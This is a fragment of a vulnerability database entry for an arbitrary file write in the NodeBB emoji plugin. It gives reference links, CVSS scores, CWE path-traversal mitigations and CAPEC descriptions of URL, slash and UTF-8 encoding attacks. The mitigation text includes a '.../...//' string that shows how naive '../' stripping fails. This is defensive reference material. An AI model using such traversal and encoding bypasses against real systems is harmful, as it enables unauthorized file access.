"url": "https://www.exploit-db.com/exploits/49813"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nodebb-plugin-emoji-arbitrary-file-write"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.